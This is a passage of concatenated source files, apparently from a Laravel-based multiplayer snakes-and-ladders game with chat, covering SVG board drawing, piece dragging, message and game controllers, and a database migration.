'accepted') { variable._gameSection$.append(variable._playgroundDiv); game.drawGame(res.data.gameData); } // }else{ // manager.getGameData($('#receiver_id').attr('value')); // } } else{ variable._inviteThisUser$.removeClass('invisible'); $('#game-section').empty(); variable._chatSection$.addClass('col-md-12'); variable._gameSection$.removeClass('col-md-8'); } } else { console.log(res); } }, getThisUserData: function (e) { if(game.canChangeUser()){ util.allWarning('Can\'t change user[drag your piece]'); return; } clearInterval(messages.updateChat); var id = $(e).attr('id'); var type = $(e).attr('title'); var text = $(e).text(); messages.setMessageVaraibles(id, type, text); variable._gameSection$.empty(); manager.getUserData(messages.receiver,messages.type); variable._charMessages$.empty(); } }; // Get the modal var modal = document.getElementById('myModal'); // Get the button that opens the modal var btn = document.getElementById("myBtn"); // Get the <span> element that closes the modal var span = document.getElementsByClassName("close")[0]; // // When the user clicks on the button, open the modal // btn.onclick = function() { // modal.style.display = "block"; // } // When the user clicks on <span> (x), close the modal span.onclick = function() { modal.style.display = "none"; } // When the user clicks anywhere outside of the modal, close it window.onclick = function(event) { if (event.target == modal) { modal.style.display = "none"; } }<file_sep>/public/js/game.js var game = { xhtmlns:"http://www.w3.org/1999/xhtml", svgns:"http://www.w3.org/2000/svg", BOARDX: 10, //starting pos of board BOARDY: 10, //look above boardArr: new Array(), //2d array [row][col] // all this come from the database BOARDWIDTH: 0, //how many squares across BOARDHEIGHT: 0, //how many squares down CELLSIZE: 0, turn: '', thisPlayer: { id: '', score: '', rolled: '', piece:'', name:'' }, opponent: { id: '', score: '', rolled: '', piece:'', name:'' }, id:'', // id of the game update: '', //interval call to get opponent move drawGame: function (gameData){ //create a parent to stick board in... var gEle = document.createElementNS(game.svgns, 'g'); gEle.setAttributeNS(null, 'transform', 'translate(' + game.BOARDX + ',' + game.BOARDY + ')'); gEle.setAttributeNS(null, 'id', 'gId_' + gameData.game.id); //stick g on board document.getElementsByTagName('svg')[0].appendChild(gEle); //create the board... game.BOARDHEIGHT = gameData.game.height; game.BOARDWIDTH = gameData.game.width; game.CELLSIZE = gameData.game.size; game.turn = gameData.game.whoseturn; game.id = gameData.game.id; var num = 1; // This draws the board for (i = 9,x = 0; i >=0 ; i--, x++) { game.boardArr[x] = new Array(); for (var j = 0; j <game.BOARDHEIGHT; j++) { game.boardArr[x][((num-1)%10)] = new Cell(document.getElementById('gId_' + gameData.game.id), 'cell_' + x + ((num-1)%10), game.CELLSIZE, i, j, num); (x%2===0)?num++:num--; } (x%2===0)?num--:num++; num+=10; } // draw snakes and ladders game.drawSnakesAndLadder(); if(variable._receiverId$.attr('value') == gameData.player0.id) { variable._thisPlayer = 'player1'; variable._opponent = 'player0'; }else{ variable._thisPlayer = 'player0'; variable._opponent = 'player1'; } //assign opponent game.opponent.id = gameData[variable._opponent].id; game.opponent.score = gameData[variable._opponent].score; game.opponent.rolled = gameData[variable._opponent].rolled; game.opponent.name = gameData[variable._opponent].name; game.opponent.piece = new Piece( 'game' + gameData.game.id, game.opponent.id, gameData[variable._opponent].x, gameData[variable._opponent].y, 'SnakeLadder', 'green' // this needs to come from database ); // assign this player game.thisPlayer.id = gameData[variable._thisPlayer].id; game.thisPlayer.score = gameData[variable._thisPlayer].score; game.thisPlayer.rolled = gameData[variable._thisPlayer].rolled; game.thisPlayer.name = gameData[variable._thisPlayer].name; game.thisPlayer.piece = new Piece( 'game_' + gameData.game.id, game.thisPlayer.id, gameData[variable._thisPlayer].x, gameData[variable._thisPlayer].y, 'SnakeLadder', 'red' // needs to come from database; ); game.setLables( gameData[variable._thisPlayer].name, gameData[variable._thisPlayer].score, gameData[variable._opponent].name, gameData[variable._opponent].score ); variable._gameId$.attr('value',gameData.game.id); document.querySelector('input[type=button]').addEventListener('click', function(){game.roll();}); //put the drop code on the document... document.getElementsByTagName('svg')[0].addEventListener('mouseup',drag.releaseMove,false); //put the go() method on the svg doc. document.getElementsByTagName('svg')[0].addEventListener('mousemove',drag.go,false); variable._error$ = $('#error'); if(game.turn != Number(game.thisPlayer.id)) { game.update = setInterval(game.getUpdate, 3000); } }, roll: function() { if(game.thisPlayer.rolled == 'yes' && game.turn != game.thisPlayer.id) { util.allWarning('Not your turn'); return; } if(game.thisPlayer.rolled == 'yes' && game.turn == game.thisPlayer.id) { util.allWarning('You already rolled. Please Drag!'); return; } if( game.thisPlayer.rolled == 'no' && game.turn == game.thisPlayer.id) { manager.myXHR ('POST', './games', { gameId: game.id, id:game.opponent.id}).done(function(res) { var output =''; var faceValue = '' + Number(res.data.gameData.game.diceValue)-1; output += "&#x268" + faceValue + "; "; document.getElementById('dice').innerHTML = output; if(game.updateGameData(res.data.gameData))return; setTimeout(game.updateBoard,5000); }); } }, setLables: function(player0Name, player0Score, player1Name, player1Score) { variable._player0Name$ = $('#player0Name'), variable._player0Score$ = $('#player0Score'), variable._player1Name$ = $('#player1Name'), variable._player1Score$ = $('#player1Score'), variable._player0Name$.text(player0Name.substr(0,3)); variable._player0Score$.text(' : ' + (Number(player0Score))); variable._player1Name$.text(player1Name.substr(0,3)); variable._player1Score$.text(' : '+ (Number(player1Score))); }, updateGameData: function(gameData) { if(gameData.result){ var text = ''; if( gameData.result.winner == game.thisPlayer.id){ text = game.thisPlayer.name; }else { text = gameData.opponent.name; } alert('you won the game'); $('.modal-content p').text(text + 'won this game'); modal.style.display = "block"; variable._gameSection$.empty(); return true; } game.turn = gameData.game.whoseTurn; game.thisPlayer.rolled = gameData.player.rolled; game.thisPlayer.score = gameData.player.score; return false; }, updateBoard: function() { if(game.turn != game.thisPlayer.id){ return; } url = './game/change'; manager.myXHR('POST', url,{gameId: game.id, id: game.opponent.id}).done(function(res){ game.updateGameData(res.data.gameData); util.setTransform( game.thisPlayer.piece.id, game.boardArr[Number(res.data.gameData.player.x)][Number(res.data.gameData.player.y)].getCenterX(), game.boardArr[Number(res.data.gameData.player.x)][Number(res.data.gameData.player.y)].getCenterY() ); game.thisPlayer.piece.changeCell( game.boardArr[Number(res.data.gameData.player.x)][Number(res.data.gameData.player.y)].id, Number(res.data.gameData.player.x), Number(res.data.gameData.player.y) ); variable._player0Score$.text(' : ' + (Number(res.data.gameData.player.score))); game.update = setInterval(game.getUpdate, 2000); }); }, getUpdate : function () { if(game.turn == game.thisPlayer.id){ clearInterval(game.update); } url = './games/'+ game.id; manager.myXHR('GET', url).done(function(res){ console.log(res); if(res.data.gameData.result){ var text = ''; if( res.data.gameData.result.winner == game.thisPlayer.id){ text = game.thisPlayer.name; }else { text = gameData.opponent.name; } alert('you won the game'); $('.modal-content p').text(text + 'won this game'); modal.style.display = "block"; variable._gameSection$.empty(); return; } game.turn = res.data.gameData.game.whoseTurn; if(res.data.gameData.opponent) { game.opponent.score = res.data.gameData.opponent.score; game.opponent.rolled = res.data.gameData.opponent.rolled; game.thisPlayer.rolled = res.data.gameData.thisPlayer.rolled; util.setTransform( game.opponent.piece.id, game.boardArr[Number(res.data.gameData.opponent.x)][Number(res.data.gameData.opponent.y)].getCenterX(), game.boardArr[Number(res.data.gameData.opponent.x)][Number(res.data.gameData.opponent.y)].getCenterY() ); game.opponent.piece.changeCell( game.boardArr[Number(res.data.gameData.opponent.x)][Number(res.data.gameData.opponent.y)].id, Number(res.data.gameData.opponent.x), Number(res.data.gameData.opponent.y) ); variable._player1Score$.text(' : ' + (Number(res.data.gameData.opponent.score))); } }); }, canChangeUser : function () { if( game.turn == game.thisPlayer.id && game.thisPlayer.rolled == 'yes'){ return true; } clearInterval(game.update); return false; }, drawSnakesAndLadder: function() { // 95 - 75 var arrEllipse = [10, 75, 15, 7]; var arrLine = [20, 20, 80, 180]; var arrTranslate = [280, -35]; game.drawSnake(arrTranslate, arrEllipse, arrLine); // 98 - 78 arrEllipse = [10, 75, 15, 7]; arrLine = [20, 20, 80, 180]; arrTranslate = [120, -35]; game.drawSnake(arrTranslate, arrEllipse, arrLine); //87 - 24 arrEllipse = [10, 75, 15, 7]; arrLine = [20, -140, 80, 380] arrTranslate = [330, 20] game.drawSnake(arrTranslate, arrEllipse, arrLine); // 54 -34 arrEllipse = [10, 75, 15, 7]; arrLine = [20, 20, 80, 180]; arrTranslate = [330, 160]; game.drawSnake(arrTranslate, arrEllipse, arrLine); // 64 - 60 arrEllipse = [10, 75, 15, 7]; arrLine = [20,-140, 80, 140] arrTranslate = [180, 100] game.drawSnake(arrTranslate, arrEllipse, arrLine); // 17 -7 arrEllipse = [10, 75, 15, 7]; arrLine = [20,160, 80, 140] arrTranslate = [180, 350] game.drawSnake(arrTranslate, arrEllipse, arrLine); //ladders // 4-14 var arrLine1 = [20, -130, 75, 130]; var arrLine2 = [20,-130, 95, 150] var arrTranslate = [300, 350] game.drawLadder(arrTranslate, arrLine1, arrLine2); //20-38 arrLine1 = [10, -120, 75, 180]; arrLine2 = [10, -120, 95, 200] arrTranslate = [140, 250] game.drawLadder(arrTranslate, arrLine1, arrLine2); //28-84 arrLine1 = [10, 200, 90, 370]; arrLine2 = [20, 220, 70, 370] arrTranslate = [180, 10] game.drawLadder(arrTranslate, arrLine1, arrLine2); // 81- 63 arrLine1 = [10, 100, 90, 180]; arrLine2 = [20, 120, 70, 180] arrTranslate = [20, 10] game.drawLadder(arrTranslate, arrLine1, arrLine2); //59-40 arrLine1 = [10, -60, 75, 160]; arrLine2 = [10, -60, 95, 180] arrTranslate = [70, 160] game.drawLadder(arrTranslate, arrLine1, arrLine2); //71-91 arrLine1 = [10, 10, 70, 160]; arrLine2 = [25, 25, 70, 160]; arrTranslate = [470, -25]; game.drawLadder(arrTranslate, arrLine1, arrLine2); }, drawSnake : function(arrTranslate,arrEllipse, arrLine) { var gEle = document.createElementNS(game.svgns, 'g'); gEle.setAttributeNS(null, 'transform', 'translate(' + arrTranslate[0] + ',' + arrTranslate[1] + ')'); //stick g on board var ellipse = document.createElementNS(game.svgns, 'ellipse'); ellipse.setAttributeNS(null,'cx', arrEllipse[0]); ellipse.setAttributeNS(null,'cy',arrEllipse[1]); ellipse.setAttributeNS(null,'rx',arrEllipse[2]); ellipse.setAttributeNS(null,'ry',arrEllipse[3]); ellipse.setAttributeNS(null,'stroke',"#4C516D"); ellipse.setAttributeNS(null,'fill',"red"); ellipse.setAttributeNS(null,'stroke-width','5px'); ellipse.setAttributeNS(null,'opacity', '1'); var line1 = document.createElementNS(game.svgns,'line'); line1.setAttributeNS(null, 'x1', arrLine[0]); line1.setAttributeNS(null, 'x2', arrLine[1]); line1.setAttributeNS(null, 'y1', arrLine[2]); line1.setAttributeNS(null,'y2', arrLine[3]); line1.setAttributeNS(null, 'stroke',"#4C516D"); line1.setAttributeNS(null, 'stroke-width','8px'); line1.setAttributeNS(null, 'opacity', '0.6'); gEle.appendChild(ellipse); gEle.appendChild(line1); document.getElementsByTagName('svg')[0].appendChild(gEle); }, drawLadder: function(arrTranslate, arrLine1, arrLine2) { var gEle = document.createElementNS(game.svgns, 'g'); gEle.setAttributeNS(null, 'transform', 'translate(' + arrTranslate[0] + ',' + arrTranslate[1] + ')'); var line1 = document.createElementNS(game.svgns,'line'); line1.setAttributeNS(null, 'x1', arrLine1[0]); line1.setAttributeNS(null, 'x2', arrLine1[1]); line1.setAttributeNS(null, 'y1', arrLine1[2]); line1.setAttributeNS(null,'y2', arrLine1[3]); line1.setAttributeNS(null, 'stroke',"green"); line1.setAttributeNS(null, 'stroke-width','4px'); line1.setAttributeNS(null, 'opacity', '0.5'); var line2 = document.createElementNS(game.svgns,'line'); line2.setAttributeNS(null, 'x1', arrLine2[0]); line2.setAttributeNS(null, 'x2', arrLine2[1]); line2.setAttributeNS(null, 'y1', arrLine2[2]); line2.setAttributeNS(null,'y2', arrLine2[3]); line2.setAttributeNS(null, 'stroke',"green"); line2.setAttributeNS(null, 'stroke-width','4px'); line2.setAttributeNS(null, 'opacity', '0.5'); gEle.appendChild(line1); gEle.appendChild(line2); document.getElementsByTagName('svg')[0].appendChild(gEle); } }; var drag={ //the problem of dragging.... myX:'', //hold my last pos. myY:'', //hold my last pos. mover:'', //hold the id of the thing I'm moving ////setMove///// // set the id of the thing I'm moving... //////////////// setMove:function(which){ if(game.turn != game.thisPlayer.id) { util.allWarning('Can\'t Drag. Not your turn'); return; } if(game.thisPlayer.rolled != 'yes' && game.turn == game.thisPlayer.id) { util.allWarning('Please roll the dice first!'); return; } drag.mover = which; drag.myX=game.thisPlayer.piece.x; drag.myY=game.thisPlayer.piece.y; game.thisPlayer.piece.putOnTop(which); //get the object then re-append it to the document so it is on top! /*util.getPiece(which).putOnTop(which);*/ }, releaseMove:function(evt){ if(drag.mover != ''){ //is it YOUR turn? //if(game.whoseTurn == game.thisPlayer.id){ var hit = drag.checkHit(evt.layerX,evt.layerY,drag.mover); // }else{ // var hit=false; //util.nytwarning(); // } if(hit==true){ game.updateBoard(); }else{ //move back util.setTransform(drag.mover,drag.myX,drag.myY); } drag.mover = ''; } }, go:function(evt){ if(drag.mover != ''){ util.setTransform(drag.mover,evt.layerX,evt.layerY); } }, checkHit:function(x,y,id){ x=x-game.BOARDX; y=y-game.BOARDY; //go through ALL of the board for(i=0;i<game.BOARDWIDTH;i++){ for(j=0;j<game.BOARDHEIGHT;j++){ var drop = game.boardArr[i][j].myBBox; if(x>drop.x && x<(drop.x+drop.width) && y>drop.y && y<(drop.y+drop.height)){ util.setTransform(id,game.boardArr[i][j].getCenterX(),game.boardArr[i][j].getCenterY()); game.thisPlayer.piece.changeCell(game.boardArr[i][j].id,i,j); // util.changeTurn(); return true; } } } return false; } }; window.onbeforeunload = function(event) { if(game.thisPlayer.rolled == 'yes' && game.turn == game.thisPlayer.id) { game.updateBoard(); } return confirm("Confirm refresh"); }; <file_sep>/app/Challenge.php <?php namespace App; use Illuminate\Database\Eloquent\Model; class Challenge extends Model { // public function haveChallenged(){ return $this->belongsTo('App\User','sender'); } public function getChallenged(){ return $this->belongsTo('App\User','receiver'); } public function game() { return $this->belongsTo('App\Game', 'game_id'); } } <file_sep>/public/js/Objects/Pieces.js ////////////////////////////////////////////////////// // Class: Piece // // Description: Using the javascript prototype, you // // can make faux classes. This allows objects to be // // made which act like classes and can be referenced// // by the game. // ////////////////////////////////////////////////////// // Piece constructor // creates and initializes each Piece object function Piece(board,player,cellRow,cellCol,type,color){ this.board = board; // piece needs to know the svg board object so that it can be attached to it. this.player = player; // piece needs to know what player it belongs to. this.type = type; // piece needs to know what type of piece it is. (put in so it could be something besides a checker!) if(cellRow > 20){ this.current_cell = game.boardArr[0][0]; // piece needs to know what its current cell/location is. }else{ this.current_cell = game.boardArr[cellRow][cellCol]; // piece needs to know what its current cell/location is. } //this.number = num; // piece needs to know what number piece it is. //this.isCaptured = false; // a boolean to know whether the piece has been captured yet or not. this.pieceColor = color; //id looks like 'piece_0|3' - for player 0, the third piece this.id = "piece_" + this.player; // the piece also needs to know what it's id is. this.current_cell.isOccupied(this.id); //set THIS board cell to occupied this.x = (cellRow>20) ? cellRow : this.current_cell.getCenterX(); // the piece needs to know what its x location value is. this.y = (cellRow>20) ? cellCol : this.current_cell.getCenterY(); // the piece needs to know what its y location value is as well. //this.object = eval("new " + type + "(this)"); //eval I wrote in class because I was lazy - better on next line this.object=new window[type](this); // based on the piece type, you need to create the more specific piece object (Checker, Pawn, Rook, etc.) this.piece = this.object.piece; // a shortcut to the actual svg piece object this.setAtt("id",this.id); // make sure the SVG object has the correct id value (make sure it can be dragged) if(this.player == game.thisPlayer.id){ this.piece.addEventListener('mousedown',function(){ drag.setMove(this.id);},false); // add a mousedown event listener to your piece so that it can be dragged. }else{ this.piece.addEventListener('mousedown', function(){ util.allWarning('Not your piece'); }, false); } //tell the user that isn't his piece! //this.piece.addEventListener('mousedown',function(){ document.getElementById('output2').firstChild.nodeValue=this.id;},false); //for testing purposes only... document.getElementsByTagName('svg')[0].appendChild(this.piece); // return this piece object return this; } Piece.prototype={ //change cell (used to move the piece to a new cell and clear the old) changeCell:function(newCell,row,col){ this.current_cell.notOccupied(); // document.getElementById('output').firstChild.nodeValue='dropped cell: '+newCell; this.current_cell = game.boardArr[row][col]; this.current_cell.isOccupied(this.id); }, //when called, will remove the piece from the document and then re-append it (put it on top!) putOnTop:function(){ document.getElementsByTagName('svg')[0].removeChild(this.piece); document.getElementsByTagName('svg')[0].appendChild(this.piece); }, //will record that I'm now a king and change the one on the screen kingMe:function(id){ this.isKing=true; document.getElementById(this.id+'K').setAttributeNS(null,'opacity','0.7'); }, // function that allows a quick setting of an attribute of the specific piece object setAtt:function(att,val){ this.piece.setAttributeNS(null,att,val); } } // Checker constructor function Checker(parent) { this.parent = parent; //I can now inherit from Piece class // each Checker should know its parent piece object this.parent.isKing = false; // each Checker should know if its a 'King' or not (not a king on init) this.piece = document.createElementNS(game.svgns,"g"); // each Checker should have an SVG group to store its svg checker in if(this.parent.player == 'playerId'){ this.piece.setAttributeNS(null,"style","cursor: pointer;"); // change the cursor } this.piece.setAttributeNS(null,"transform","translate("+this.parent.x+","+this.parent.y+")"); // create the svg 'checker' piece. var circ = document.createElementNS(game.svgns,"circle"); circ.setAttributeNS(null,"r",'25'); circ.setAttributeNS(null,"class",'player' + this.parent.player); // change the color according to player this.piece.appendChild(circ); // add the svg 'checker' to svg group //create more circles to prove I'm moving the group (and to make it purty) var circ = document.createElementNS(game.svgns,"circle"); circ.setAttributeNS(null,"r",'18'); circ.setAttributeNS(null,"fill",'white'); circ.setAttributeNS(null,"opacity",'0.3'); this.piece.appendChild(circ); var circ = document.createElementNS(game.svgns,"circle"); circ.setAttributeNS(null,"r",'10'); circ.setAttributeNS(null,"fill",'white'); circ.setAttributeNS(null,"opacity",'0.3'); this.piece.appendChild(circ); var K = document.createElementNS(game.svgns,"polygon"); K.setAttributeNS(null,"points",'-15,-10 -8,10 8,10 15,-10 7,0 0,-18 -7,0'); K.setAttributeNS(null,"stroke",'black'); K.setAttributeNS(null,"fill",'gold'); K.setAttributeNS(null,"stroke-width",'3px'); K.setAttributeNS(null,"opacity",'0'); K.setAttributeNS(null,"id",this.parent.id+'K'); this.piece.appendChild(K); // return this object to be stored in a variable return this; } //to king me: //getPiece('piece_1|0').kingMe() function SnakeLadder(parent) { this.parent = parent; this.piece = document.createElementNS(game.svgns, 'g'); if(this.parent.player == 'playerId'){ this.piece.setAttributeNS(null, 'style','cursor: pointer'); } this.newCord1 = this.parent.x; this.newCord2 = this.parent.y; this.piece.setAttributeNS(null, 'transform', 'translate('+ this.newCord1+','+this.newCord2+')'); //this.piece.setAttributeNS(null,"opacity",'0.5'); //create the svg snakeLadder piece. var circ = document.createElementNS(game.svgns,"circle"); circ.setAttributeNS(null,"r",'20'); circ.setAttributeNS(null,"fill", this.parent.pieceColor); circ.setAttributeNS(null,"opacity",'0.8'); this.piece.appendChild(circ); var circ = document.createElementNS(game.svgns,"circle"); circ.setAttributeNS(null,"r",'10'); circ.setAttributeNS(null,"fill",'#D93636'); circ.setAttributeNS(null,"opacity",'0.4'); this.piece.appendChild(circ); var circ = document.createElementNS(game.svgns,"circle"); circ.setAttributeNS(null,"r",'5'); circ.setAttributeNS(null,"fill",'#EA9090'); circ.setAttributeNS(null,"opacity",'0.2'); this.piece.appendChild(circ); return this; }<file_sep>/public/js/Objects/Cells.js ////////////////////////////////////////////////////// // Class: Cell // // Description: This will create a cell object // // (board square) that you can reference from the // // game. // // Arguments: // // size - tell the object it's width & height // // ?? // ?? // ?? // ?? ////////////////////////////////////////////////////// //Cell constructor() function Cell(parent,id,size,row,col, num){ this.parent=parent; this.id=id; this.size=size; this.row=row; this.col=col; //initialize other instance vars //this.occupied=''; //hold the id of the piece this.y=this.size*this.row; this.x=this.size*this.col; this.color= 'white'; this.droppable=(((this.row+this.col)%2) == 0)? true:false; this.text = num; this.object=this.create(); this.text = this.createText(); this.parent.appendChild(this.object); this.parent.appendChild(this.text); // this.parent.appendChild(this.text); this.myBBox = this.getMyBBox(); } ////////////////////////////////////////////////////// // Cell : Methods // // Description: All of the methods for the // // Cell Class (remember WHY we want these to be // // seperate from the object constructor!) // ////////////////////////////////////////////////////// Cell.prototype={ create:function(){ var rectEle=document.createElementNS(game.svgns,'rect'); rectEle.setAttributeNS(null,'x',this.x+'px'); rectEle.setAttributeNS(null,'y',this.y+'px'); rectEle.setAttributeNS(null,'width',this.size+'px'); rectEle.setAttributeNS(null,'height',this.size+'px'); rectEle.setAttributeNS(null,'class', 'cells_white'); rectEle.setAttributeNS(null,'id',this.id); rectEle.onclick=function(){alert(this.id);}; return rectEle; }, createText: function(){ var textEle=document.createElementNS(game.svgns,'text'); textEle.setAttributeNS(null,'x',(this.x+20)+'px'); textEle.setAttributeNS(null,'y',(this.y+30)+'px'); textEle.textContent = this.text; // textEle.onclick=function(){alert(this.id);}; return textEle; }, //get my bbox getMyBBox:function(){ return this.object.getBBox(); }, //get CenterX getCenterX:function(){ return (game.BOARDX+this.x+(this.size/2) ); }, //get CenterY getCenterY:function(){ return (game.BOARDY+this.y+(this.size/2) ); }, //set a cell to occupied isOccupied:function(pieceId){ this.occupied=pieceId; }, //set cell to empty notOccupied:function(){ this.occupied=''; }, PI:3.1415697 }<file_sep>/app/Http/Controllers/MessagesController.php <?php namespace App\Http\Controllers; use Illuminate\Http\Request; use App\Message; use App\Challenge; class MessagesController extends Controller { private $sender; // always auth()->user->id; private $receiver; // opponent private $data ; // data to send private $type; // type of message private $challengeStatus; private $message = [ 'newMessage' => 'New message retrieved successfully', 'allMessage' => 'All message retrieved successfully', 'badRequest' => 'Bad Request' ]; /** * Create a new controller instance. * * @return void */ public function __construct(){ $this->middleware('auth'); } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(Request $request){ try { if($this -> checkRequest($request, '')) { $message = new Message(); $message_id = $this -> sender . '|' . $this -> receiver; ($this -> type === 'group')? $message->id = $this -> receiver: $message->id = $message_id; $message -> sender = $this -> sender; $messageBody = filter_var ( $request->message, FILTER_SANITIZE_STRING); $message -> body = $messageBody; $message -> available = true; $message -> receiver = $this -> receiver; $message -> save(); //retrieve the first row. $search_param1 = $message_id; $search_param2 = $this -> receiver. '|' .$this -> sender; ($request->type === 'individual') ? $message = Message::where ('id', $search_param1) -> orWhere('id', $search_param2) -> orderBy('created_at', 'desc')->first() : $message = Message::where('id', $this -> receiver) ->orderBy('created_at', 'desc') ->first(); $this -> data['messageData'] = [ ['body' => $message->body, 'created_at' => $message->created_at->format('H:i'), 'userName' => $message->user->name, 'userImage' => $message->user->image_url] ]; return $this->sendResponse(true, $this -> message['newMessage'], $this -> data, $this -> challengeStatus); } else{ return $this->sendResponse(true, $this -> message['badRequest'], $this -> data, $this -> challengeStatus); } } catch (\Illuminate\Database\QueryException $ex) { return $this -> sendResponse(false, $this -> message['error'], null, null); } catch(Exception $ex) { return $this -> sendResponse(false, $this -> message['error'], null, null); } } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function getMore($id, $date, $type) { try { $data = ['messageData' => [], 'gameData' => []]; $this->receiver = filter_var($id, FILTER_SANITIZE_STRING); $date = filter_var($date, FILTER_SANITIZE_STRING); $type = filter_var($type, FILTER_SANITIZE_STRING); if (!$type || !$this->receiver || !$date) { return $this->sendResponse(true, $this->message['badRequest'], $data, null); } $user_id1 = $id; $user_id2 = auth()->user()->id; $searchParam1 = $user_id1 . '|' . $user_id2; $searchParam2 = $user_id2 . '|' . $user_id1; /**************************************************************************************************************************************/ // getting all the messages any way ( be it be individual user or group) ($type !== 'group') ? $messages = Message::where('id', $searchParam1)->orWhere('id', $searchParam2) ->get() : $messages = Message::where('id', $id)->get(); foreach ($messages as $msg) { $messageData[] = [ 'body' => $msg->body, 'created_at' => $msg->created_at->format('H:i'), 'userName' => $msg->user->name, 'userImage' => $msg->user->image_url ]; } $data['messageData'] = $messageData; return $this->sendResponse(true, $this->message['newMessage'], $data, null); } catch (\Illuminate\Database\QueryException $ex) { return $this -> sendResponse(false, $this -> message['error'], null, null); } catch(Exception $ex) { return $this -> sendResponse(false, $this -> message['error'], null, null); } } /******************************************************************************************************************************************/ /***************************************************** helper function to return challenge status *****************************************/ public function returnChallenge($player0, $player2, $condition){ //for challenges $searchParam1 = $player0 . '|' . $player2; $searchParam2 = $player2 . '|' . $player0; switch($condition){ case 'neutral': return Challenge::where('id',$searchParam1) -> orWhere('id',$searchParam2) -> orderBy('created_at','desc') -> first(); case 'requested': return Challenge::where('id', $searchParam1) -> orWhere('id', $searchParam2) -> where('status','requested') -> orderBy('created_at','desc') -> first(); } } /******************************************************************************************************************************************/ /******************************************************************************************************************************************/ /*********************************************** helper function to return consistent response ********************************************/ public function sendResponse($status, $message, $data, $challengeStatus){ return array( 'status' => $status, 'message' => $message, 'data' => $data, 'challengeStatus' => $challengeStatus ); } /******************************************************************************************************************************************/ /******************************************************************************************************************************************/ /**************************************** helper function to check if the request is valid and bug free ***********************************/ public function checkRequest($request, $id) { $this -> type = $request->type; ($request->id) ? $this -> receiver = filter_var ( $request->id, FILTER_SANITIZE_STRING) : $this -> receiver = filter_var ( $id, FILTER_SANITIZE_STRING); if((( $this -> type === 'group' ) || ( $this -> type == 'individual' )) && $this -> receiver !== '') { $this -> data = ['messageData' => [], 'gameData' => []]; $this -> sender = auth() -> user() -> id; $this -> challengeStatus = null; return true; } return false; } /******************************************************************************************************************************************/ /******************************************************************************************************************************************/ /******************************************************* Unused paths/functions **********************************************************/ /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index() { // } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { // } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show($id, Request $request){ } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id){ // } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(Request $request, $id){ } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id){ // } /******************************************************************************************************************************************/ } <file_sep>/database/migrations/2017_11_19_210133_create_game_moves_table.php <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreateGameMovesTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('game_moves', function (Blueprint $table) { $table->increments('id'); $table->integer('game_id'); $table->integer('whoseTurn'); $table->string('player0_id'); $table->string('player0_pieceId'); $table->integer('player0_diceValue'); $table->string('player0_fromPosition'); $table->string('player0_toPosition'); $table->string('player0_moveType'); $table->string('player0_score'); $table->string('player0_difference'); $table->string('player0_rolled'); $table->string('player1_id'); $table->string('player1_pieceId'); $table->integer('player1_diceValue'); $table->string('player1_fromPosition'); $table->string('player1_toPosition'); $table->string('player1_moveType'); $table->string('player1_score'); $table->string('player1_difference'); $table->string('player1_rolled'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('game_moves'); } } <file_sep>/app/Http/Controllers/GameController.php <?php namespace App\Http\Controllers; use Illuminate\Http\Request; use App\Challenge; use App\Game; use App\GameMove; use App\Result; class GameController extends Controller { private $message = [ 'positive' => 'yes', 'negative' => 'no', 'turnchanged' => 'Turn changed', 'error' => 'Something went wrong', 'waitingForOther' => 'Waiting for other player to move', 'requestSend' => 'Your request has been sent', 'canntSendRequest' => 'You cann\'t request', 'invalidRequest' => 'Sorry! This is a invalid request', 'notYourTurn' => 'Not your turn', 'won' => 'You won the game', 'invalidRequest' => 'You won the game', 'needMore' => 'You need more', 'waitingForDrag' => 'Waiting for you drag. Board with be updated in 10 sec and move will change unless you drag your piece', 'gameOver' => 'Game Over!', 'gameStart' => 'Game Started', 'gameStartedError' => 'Game already started. Cann\'t make more entries.', 'badRequest' => 'Bad request' ]; /** * Create a new controller instance. * * @return void */ public function __construct(){ $this->middleware('auth'); } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(Request $request){ try { $testPlayer1 = filter_var($request->id, FILTER_SANITIZE_STRING); $gameId = filter_var($request->gameId, FILTER_SANITIZE_STRING); if ($testPlayer1 == '' || $gameId == '') return $this->sendResponse('false', $this->message['badRequest'], null, null); $testPlayer2 = auth()->user()->id; $data = ['messageData' => [], 'gameData' => []]; $challengeStatus = null; // define snakes presence and how much it will take you down $snake = array(0 => 95, 1 => 98, 2 => 87, 3 => 54, 4 => 64, 5 => 17); $snakeByteDiff = [20, 20, 63, 20, 4, 10]; // define ladders and how much clim to clim $ladder = array(0 => 4, 1 => 20, 2 => 28, 3 => 40, 4 => 63, 5 => 71); $ladderClimDiff = [10, 18, 56, 19, 18, 20]; //roll the dice $diceValue = rand(1, 6); //retrieve game $gameMove = GameMove:: where('game_id', $gameId)->first(); $originalPlayer1 = $gameMove->player0_id; $originalPlayer2 = $gameMove->player1_id; //for challenges $challenge = $this->returnChallenge($originalPlayer1, $originalPlayer2, 'neutral'); // both players belong to this game if ( ($originalPlayer1 == $testPlayer1 && $originalPlayer2 == $testPlayer2) || ($originalPlayer1 == $testPlayer2 && $originalPlayer2 == $testPlayer1) || $challenge->status !== 'accepted' ) { // decide which player ($testPlayer2 === (int)$originalPlayer1) ? $player = 'player0' : $player = 'player1'; $opponentId = substr($player, -1, 1); ((int)$opponentId === 0) ? $opponentId = 'player1' : $opponentId = 'player0'; // Check for valid turn. $challengeStatus = $challenge->status; // ($gameMove -> { $player . '_rolled'} === 'yes' && $gameMove -> { $opponentId . '_rolled' === 'yes'}) if ( $gameMove->whoseTurn !== (int)$gameMove->{$player . '_id'} || $gameMove->{$player . '_rolled'} !== 'no') { // this checks if the player who have played is a valid player. $gameData = [ 'game' => [ 'id' => $gameMove->game_id, 'whoseTurn' => $gameMove->whoseTurn, 'diceValue' => 